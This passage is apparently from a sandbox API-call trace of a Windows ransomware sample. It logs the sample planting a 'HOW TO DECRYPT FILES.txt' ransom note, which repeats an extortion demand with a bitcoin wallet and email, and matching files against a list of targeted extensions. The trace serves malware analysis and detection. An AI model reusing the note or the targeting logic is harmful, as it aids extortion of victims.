dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.671] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.671] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.672] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.672] CloseHandle (hObject=0xffffffff) returned 0 [0125.672] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="TS_UnusedDesktopIcons.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_UnusedDesktopIcons.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_UnusedDesktopIcons.ps1" [0125.672] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115ea231, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x115ea231, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd74b67df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_VolumeErrors.ps1", cAlternateFileName="")) returned 1 [0125.672] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.672] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_VolumeErrors.ps1") returned -1 [0125.672] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_VolumeErrors.ps1") returned -1 [0125.672] lstrcmpiA (lpString1="", lpString2="TS_VolumeErrors.ps1") returned -1 [0125.672] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_UnusedDesktopIcons.ps1") returned="TS_UnusedDesktopIcons.ps1" [0125.672] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.672] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.672] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.673] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.673] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.673] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.673] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.673] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.673] CloseHandle (hObject=0xffffffff) returned 0 [0125.673] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="TS_VolumeErrors.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_VolumeErrors.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_VolumeErrors.ps1" [0125.674] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1161038e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1161038e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd74b67df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb17, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WERQueue.ps1", cAlternateFileName="")) returned 1 [0125.674] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0125.674] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TS_WERQueue.ps1") returned -1 [0125.674] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TS_WERQueue.ps1") returned -1 [0125.674] lstrcmpiA (lpString1="", lpString2="TS_WERQueue.ps1") returned -1 [0125.674] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_VolumeErrors.ps1") returned="TS_VolumeErrors.ps1" [0125.674] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" [0125.674] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\" | out: pszPath="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\") returned="" [0125.674] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" [0125.674] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt")) returned 0xffffffff [0125.674] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\scheduled\\maintenance\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.675] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0125.675] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0125.675] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0125.675] CloseHandle (hObject=0xffffffff) returned 0 [0125.675] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\", lpString2="TS_WERQueue.ps1" | out: lpString1="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_WERQueue.ps1") returned="C:\\Windows\\diagnostics\\scheduled\\Maintenance\\TS_WERQueue.ps1" [0125.675] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1161038e, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1161038e, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd74b67df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb17, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_WERQueue.ps1", cAlternateFileName="")) returned 0 [0125.675] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0125.675] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 0 [0125.676] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0125.676] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630073, dwReserved1=0x650068, cFileName="system", cAlternateFileName="")) returned 1 [0125.676] lstrcmpA (lpString1=".", lpString2="system") returned -1 [0125.676] lstrcmpA (lpString1="..", lpString2="system") returned -1 [0125.676] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\*.*") returned="*.*" [0125.676] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\", lpString2="system" | out: lpString1="C:\\Windows\\diagnostics\\system") returned="C:\\Windows\\diagnostics\\system" [0125.676] lstrlenA (lpString="C:\\Windows\\diagnostics\\system") returned 29 [0125.677] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0125.702] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0125.703] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0125.703] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0125.703] lstrcmpA (lpString1=".", lpString2="AERO") returned -1 [0125.703] lstrcmpA (lpString1="..", lpString2="AERO") returned -1 [0125.703] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0125.703] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\", lpString2="AERO" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO") returned="C:\\Windows\\diagnostics\\system\\AERO" [0125.703] lstrlenA (lpString="C:\\Windows\\diagnostics\\system\\AERO") returned 34 [0125.703] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.165] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.179] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.179] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.179] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.179] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_AeroFeature.ps1") returned 1 [0126.179] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_AeroFeature.ps1") returned 1 [0126.179] lstrcmpiA (lpString1="", lpString2="CL_AeroFeature.ps1") returned -1 [0126.179] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\AERO\\*.*") returned="*.*" [0126.179] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\AERO\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\") returned="C:\\Windows\\diagnostics\\system\\AERO\\" [0126.179] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\AERO\\") returned="" [0126.180] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" [0126.180] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt")) returned 0xffffffff [0126.180] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\AERO\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\aero\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.180] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.180] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.180] CloseHandle (hObject=0xffffffff) returned 0 [0126.180] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\", lpString2="CL_AeroFeature.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1") returned="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1" [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.ems") returned 0 [0126.181] lstrlenA (lpString="*.ems") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.db") returned 0 [0126.181] lstrlenA (lpString="*.db") returned 4 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.dbf") returned 0 [0126.181] lstrlenA (lpString="*.dbf") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.myox") returned 0 [0126.181] lstrlenA (lpString="*.myox") returned 6 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.myo") returned 0 [0126.181] lstrlenA (lpString="*.myo") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qbw") returned 0 [0126.181] lstrlenA (lpString="*.qbw") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qbb") returned 0 [0126.181] lstrlenA (lpString="*.qbb") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qbm") returned 0 [0126.181] lstrlenA (lpString="*.qbm") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qbo") returned 0 [0126.181] lstrlenA (lpString="*.qbo") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qbx") returned 0 [0126.181] lstrlenA (lpString="*.qbx") returned 5 [0126.181] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qba") returned 0 [0126.182] lstrlenA (lpString="*.qba") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qby") returned 0 [0126.182] lstrlenA (lpString="*.qby") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qbj") returned 0 [0126.182] lstrlenA (lpString="*.qbj") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.ofx") returned 0 [0126.182] lstrlenA (lpString="*.ofx") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.qif") returned 0 [0126.182] lstrlenA (lpString="*.qif") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mye") returned 0 [0126.182] lstrlenA (lpString="*.mye") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mbox") returned 0 [0126.182] lstrlenA (lpString="*.mbox") returned 6 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.eml") returned 0 [0126.182] lstrlenA (lpString="*.eml") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.pst") returned 0 [0126.182] lstrlenA (lpString="*.pst") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.ost") returned 0 [0126.182] lstrlenA (lpString="*.ost") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.idx") returned 0 [0126.182] lstrlenA (lpString="*.idx") returned 5 [0126.182] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.dbx") returned 0 [0126.183] lstrlenA (lpString="*.dbx") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.sql") returned 0 [0126.183] lstrlenA (lpString="*.sql") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mdb") returned 0 [0126.183] lstrlenA (lpString="*.mdb") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.fdb") returned 0 [0126.183] lstrlenA (lpString="*.fdb") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.wab") returned 0 [0126.183] lstrlenA (lpString="*.wab") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.dat") returned 0 [0126.183] lstrlenA (lpString="*.dat") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.txt") returned 0 [0126.183] lstrlenA (lpString="*.txt") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.jpeg") returned 0 [0126.183] lstrlenA (lpString="*.jpeg") returned 6 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.jpg") returned 0 [0126.183] lstrlenA (lpString="*.jpg") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.png") returned 0 [0126.183] lstrlenA (lpString="*.png") returned 5 [0126.183] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.php") returned 0 [0126.183] lstrlenA (lpString="*.php") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.cs") returned 0 [0126.184] lstrlenA (lpString="*.cs") returned 4 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.cpp") returned 0 [0126.184] lstrlenA (lpString="*.cpp") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.rar") returned 0 [0126.184] lstrlenA (lpString="*.rar") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.zip") returned 0 [0126.184] lstrlenA (lpString="*.zip") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.html") returned 0 [0126.184] lstrlenA (lpString="*.html") returned 6 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.htm") returned 0 [0126.184] lstrlenA (lpString="*.htm") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.xlsx") returned 0 [0126.184] lstrlenA (lpString="*.xlsx") returned 6 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.xls") returned 0 [0126.184] lstrlenA (lpString="*.xls") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mp4") returned 0 [0126.184] lstrlenA (lpString="*.mp4") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.ppt") returned 0 [0126.184] lstrlenA (lpString="*.ppt") returned 5 [0126.184] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.pptx") returned 0 [0126.184] lstrlenA (lpString="*.pptx") returned 6 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.doc") returned 0 [0126.185] lstrlenA (lpString="*.doc") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.dot") returned 0 [0126.185] lstrlenA (lpString="*.dot") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.docx") returned 0 [0126.185] lstrlenA (lpString="*.docx") returned 6 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.7z") returned 0 [0126.185] lstrlenA (lpString="*.7z") returned 4 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.tar") returned 0 [0126.185] lstrlenA (lpString="*.tar") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.bz2") returned 0 [0126.185] lstrlenA (lpString="*.bz2") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.gz") returned 0 [0126.185] lstrlenA (lpString="*.gz") returned 4 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.mkv") returned 0 [0126.185] lstrlenA (lpString="*.mkv") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.eml") returned 0 [0126.185] lstrlenA (lpString="*.eml") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.msg") returned 0 [0126.185] lstrlenA (lpString="*.msg") returned 5 [0126.185] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\AERO\\CL_AeroFeature.ps1", pszSpec="*.edb") returned 0 [0126.185] lstrlenA (lpString="*.edb") returned 5 [0126.186] PathMatchSpecA 